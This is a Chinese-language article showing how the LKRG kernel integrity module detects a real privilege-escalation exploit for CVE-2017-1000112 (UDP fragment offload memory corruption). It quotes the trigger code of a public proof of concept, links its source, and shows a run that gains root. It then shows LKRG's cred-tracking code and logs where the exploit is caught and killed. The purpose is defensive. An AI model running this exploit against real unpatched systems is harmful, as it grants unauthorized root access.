一、背景

從文章Linux Kernel運(yùn)行時安全檢測之LKRG-原理篇可以看到，LKRG可以對正在運(yùn)行的Linux內(nèi)核進(jìn)行檢測，并希望能夠及時響應(yīng)對正在運(yùn)行的進(jìn)程用戶id等憑證未經(jīng)授權(quán)的修改(完整性檢查)。對于進(jìn)程憑據(jù)，LKRG嘗試檢測漏洞，并在內(nèi)核根據(jù)未經(jīng)授權(quán)的憑據(jù)授予訪問權(quán)限(例如打開文件)之前采取行動。并且是以可加載的內(nèi)核模塊的形式，檢測正在運(yùn)行的內(nèi)核是否存在更改情況，以表明正在對其使用某種類型的漏洞利用。除此之外，它還可以檢查系統(tǒng)上運(yùn)行的進(jìn)程，以查找對各種憑證的未經(jīng)授權(quán)修改，以防止這些更改授予額外的訪問權(quán)限。

以上LKRG的特性，主要是為了保護(hù)運(yùn)行時內(nèi)核本身的完整性，但漏洞利用通常會針對系統(tǒng)上運(yùn)行的進(jìn)程，以提高特權(quán)等，這些信息保存在內(nèi)核的內(nèi)存中。因此LKRG還會跟蹤每個進(jìn)程的一系列不同屬性，并維護(hù)自己的任務(wù)列表，用于驗(yàn)證內(nèi)核的列表。如果兩個進(jìn)程發(fā)生分歧，則終止受影響的進(jìn)程，目的是在被漏洞利用差異之前進(jìn)行防御。

下面從具體實(shí)例的角度來具體分析LKRG，讓大家了解LKRG在內(nèi)核安全檢測方面所能實(shí)現(xiàn)的效果和其功能所體現(xiàn)出的價(jià)值。也是再次強(qiáng)調(diào)，任何一項(xiàng)策略和方案，可以作為系統(tǒng)級別縱深防御策略的其中一道防線，但不是“一招勝天”的靈丹妙藥。

二、CVE-2017-1000112

（UDP路徑轉(zhuǎn)換異常，導(dǎo)致memory corruption）

內(nèi)核版本：Linux 4.12.6及以下存在此漏洞，內(nèi)核4.12.7版本上已修復(fù)UFO機(jī)制——UDP fragment offload

官方網(wǎng)站對這個漏洞的描述如下：

* 在Linux內(nèi)核中的UFO到Non-UFO的路徑轉(zhuǎn)換時，存在異常內(nèi)存崩潰。在構(gòu)建一個UFO數(shù)據(jù)包時，內(nèi)核會使用MSG_MORE __ip_append_data()函數(shù)來調(diào)用ip_ufo_append_data()并完成路徑的添加。

* 但是在這兩個send()調(diào)用的過程中，添加的路徑可以從UFO路徑轉(zhuǎn)換為非UFO路徑，而這將導(dǎo)致內(nèi)存崩潰的發(fā)生。為了防止UFO數(shù)據(jù)包長度超過MTU，非UFO路徑的copy = maxfraglen – skb->len將會變成false，并分配新的skb。這將會出發(fā)程序計(jì)算fraggap = skb_prev->len – maxfraglen的值，并將copy = datalen – transhdrlen – fraggap設(shè)置為false。

Linux內(nèi)核UFO到非UFO路徑轉(zhuǎn)換時的內(nèi)存崩潰問題，在構(gòu)建一個UFO數(shù)據(jù)包時，內(nèi)核會使用MSG_MORE __ip_append_data()函數(shù)來調(diào)用ip_ufo_append_data()并完成路徑的添加。但是在這兩個send()調(diào)用的過程中，添加的路徑可以從UFO路徑轉(zhuǎn)換為非UFO路徑，而這將導(dǎo)致內(nèi)存崩潰的發(fā)生，這也是個Linux網(wǎng)絡(luò)子系統(tǒng)內(nèi)部漏洞的本地特權(quán)升級漏洞。

NIC (Network interface card) offload允許協(xié)議棧傳輸大于MTU(缺省為1500字節(jié))的報(bào)文。當(dāng)NIC offload時，內(nèi)核將把多個數(shù)據(jù)包組裝成一個大數(shù)據(jù)包，并將其傳遞給硬件，由硬件處理IP碎片和分割成mtu大小的數(shù)據(jù)包。這種卸載通常用于高速網(wǎng)絡(luò)接口，以增加吞吐量，因?yàn)閁FO可以發(fā)送大的UDP包。

以下為截圖Github相關(guān)PoC中的流程部分，源代碼路徑：https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

int s = socket(PF_INET, SOCK_DGRAM, 0);        //創(chuàng)建UDP Socket    if (s == -1) {        perror("[-] socket()");        exit(EXIT_FAILURE);    }
    struct sockaddr_in addr;    memset(&addr, 0, sizeof(addr));    addr.sin_family = AF_INET;    addr.sin_port = htons(8000);    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    if (connect(s, (void*)&addr, sizeof(addr))) {        perror("[-] connect()");        exit(EXIT_FAILURE);    }
    int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);    int rv = send(s, buffer, size, MSG_MORE);    //用MSG_MORE發(fā)送pocket，通知內(nèi)核我們稍后發(fā)送更多數(shù)據(jù)    if (rv != size) {        perror("[-] send()");        exit(EXIT_FAILURE);    }
    int val = 1;    rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));    //關(guān)閉UDP checksum    if (rv != 0) {        perror("[-] setsockopt(SO_NO_CHECK)");        exit(EXIT_FAILURE);    }    send(s, buffer, 1, 0);        //下一次發(fā)送Non-UFO數(shù)據(jù)將觸發(fā)異常    close(s);

以上部分實(shí)驗(yàn)代碼是說明要在內(nèi)核中構(gòu)建UFO包，調(diào)用send/sendto/sendmsg時使用MSG_MORE標(biāo)志，它告訴內(nèi)核將這個套接字上的所有數(shù)據(jù)積累到single diagram中，以便在執(zhí)行沒有指定該標(biāo)志的調(diào)用時傳輸，然后觸發(fā)漏洞利用。

Linux內(nèi)核將信息包存儲在結(jié)構(gòu)sk_buff (socket緩沖區(qū))中，所有網(wǎng)絡(luò)層都使用該結(jié)構(gòu)存儲信息包的頭部、關(guān)于用戶數(shù)據(jù)的信息(負(fù)載)和其他內(nèi)部信息。

如上圖所示和poc.c可以看到，當(dāng)使用MSG_MORE標(biāo)志進(jìn)行第一個發(fā)送調(diào)用時，__ip_append_data takes通過調(diào)用ip_ufo_append_data創(chuàng)建一個新的套接字緩沖區(qū)，在循環(huán)的第一次迭代中，copy的值變?yōu)樨?fù)值，這將觸發(fā)新的套接字緩沖區(qū)分配。加上fraggap計(jì)算超過MTU而觸發(fā)分片，這將導(dǎo)致使用skb_copy_and_csum_bits函數(shù)從第一次發(fā)送調(diào)用創(chuàng)建的sk_buff中復(fù)制用戶負(fù)載到新分配的sk_buff。從源緩沖區(qū)復(fù)制指定數(shù)量的字節(jié)到目標(biāo)sk_buff，并計(jì)算校驗(yàn)。如果調(diào)用skb_copy_and_csum_bits的長度大于新創(chuàng)建的sk_buff邊界結(jié)束限制，則會覆蓋套接字緩沖區(qū)之外的數(shù)據(jù)，并破壞緊接在sk_buff前面的skb_shared_info結(jié)構(gòu)。

test@ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poctest@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$ ./poc[.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-52-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text:   ffffffff82a00000[.] commit_creds:        ffffffff82aa5d00[.] prepare_kernel_cred: ffffffff82aa60f0[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffff82a17c55[~] done, should be root now[.] checking if we got root[+] got r00t ^_^root@ubuntu:/home/test/CVE-2017-1000112# iduid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0root@ubuntu:/home/test/CVE-2017-1000112# exitexittest@ubuntu:~/CVE-2017-1000112$

以上結(jié)果顯示執(zhí)行成功，也就是漏洞利用成功，這類問題核心在于覆寫了cred/read_cred結(jié)構(gòu)體。針對于以上漏洞利用的特點(diǎn)，可以利用LKRG的pCFI來檢測相關(guān)數(shù)據(jù)完整性以及檢測覆寫cred/read_cred結(jié)構(gòu)體的功能，檢測SEMP、SMAP、KALSR等的修改，來實(shí)現(xiàn)對此類問的防御，下面為部分檢測代碼，全部代碼在：https://github.com/lkrg-org/lkrg/tree/main/src/modules/exploit_detection/syscalls/pCFI和p_exploit_detection.c

//創(chuàng)建creds Hookstatic const struct p_functions_hooks {
   const char *name;   int (*install)(int p_isra);   void (*uninstall)(void);   int p_fatal;   const char *p_error_message;   int is_isra_safe;
} p_functions_hooks_array[] = {   {     "security_bprm_committing_creds",         p_install_security_bprm_committing_creds_hook,     p_uninstall_security_bprm_committing_creds_hook,     1,     NULL,     1  -......
// dump  creds并對比結(jié)果notrace void p_dump_creds(struct p_cred *p_where, const struct cred *p_from) {
   /* Get reference to cred */   get_cred(p_from);
   /* Track process's capabilities */   memcpy(&p_where->cap_inheritable, &p_from->cap_inheritable, sizeof(kernel_cap_t));   memcpy(&p_where->cap_permitted, &p_from->cap_permitted, sizeof(kernel_cap_t));   memcpy(&p_where->cap_effective, &p_from->cap_effective, sizeof(kernel_cap_t));   memcpy(&p_where->cap_bset, &p_from->cap_bset, sizeof(kernel_cap_t));#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 3, 0)   memcpy(&p_where->cap_ambient, &p_from->cap_ambient, sizeof(kernel_cap_t));#endif
   /* Track process's IDs */   p_set_uid(&p_where->uid, p_get_uid(&p_from->uid));   p_set_gid(&p_where->gid, p_get_gid(&p_from->gid));   p_set_uid(&p_where->suid, p_get_uid(&p_from->suid));   p_set_gid(&p_where->sgid, p_get_gid(&p_from->sgid));   p_set_uid(&p_where->euid, p_get_uid(&p_from->euid));   p_set_gid(&p_where->egid, p_get_gid(&p_from->egid));   p_set_uid(&p_where->fsuid, p_get_uid(&p_from->fsuid));   p_set_gid(&p_where->fsgid, p_get_gid(&p_from->fsgid));
   /* Track process's securebits - TODO: research */   p_where->securebits = p_from->securebits;
   /* Track process's critical pointers */   p_where->user     = p_from->user;   p_where->user_ns  = p_from->user_ns;
   /* Release reference to cred */   put_cred(p_from);}},/

當(dāng)在此版本內(nèi)核中加載LKRG后，再次執(zhí)行PoC，可以看到該漏洞利用已經(jīng)被檢測并阻斷，從kernel log中可以清晰看到“Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]”：

test@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$ ./poc[.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-52-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text:   ffffffff82a00000[.] commit_creds:        ffffffff82aa5d00[.] prepare_kernel_cred: ffffffff82aa60f0[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffff82a17c55[~] done, should be root now[.] checking if we got rootKilledtest@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$

ubuntu kernel: [  228.864932] [p_lkrg] Loading LKRG...ubuntu kernel: [  229.159677] [p_lkrg] LKRG initialized successfully!ubuntu kernel: [  235.372066] [p_lkrg]  Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]ubuntu kernel: [  235.372104] [p_lkrg]  Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]ubuntu kernel: [  235.372137] [p_lkrg]  process[2399 | poc] has different UID! 1000 vs 0ubuntu kernel: [  235.372155] [p_lkrg]  process[2399 | poc] has different EUID! 1000 vs 0ubuntu kernel: [  235.372174] [p_lkrg]  process[2399 | poc] has different SUID! 1000 vs 0ubuntu kernel: [  235.372192] [p_lkrg]  process[2399 | poc] has different FSUID! 1000 vs 0ubuntu kernel: [  235.372210] [p_lkrg]  process[2399 | poc] has different GID! 1000 vs 0ubuntu kernel: [  235.372228] [p_lkrg]  process[2399 | poc] has different EGID! 1000 vs 0ubuntu kernel: [  235.372247] [p_lkrg]  process[2399 | poc] has different SGID! 1000 vs 0ubuntu kernel: [  235.372265] [p_lkrg]  process[2399 | poc] has different FSGID! 1000 vs 0ubuntu kernel: [  235.372284] [p_lkrg]  Trying to kill process[poc | 2399]!

三、結(jié)論

從上述例子可以看到，LKRG在非法提權(quán)中的覆寫cred/read_cred結(jié)構(gòu)體這個類型的漏洞利用上，起到了關(guān)鍵的檢測和阻斷作用。當(dāng)然，如上篇所說，可以通過一些方法來繞過LKRG，但復(fù)雜度和難度會成倍的增加，這也就是為什么會一直強(qiáng)調(diào)，任何一項(xiàng)策略和方案，可以作為系統(tǒng)級別縱深防御策略的其中一道防線，但不是“一招勝天”的靈丹妙藥，只有構(gòu)建多層級防御矩陣，以及多個角度來解析安全問題，才會達(dá)到更好的效果。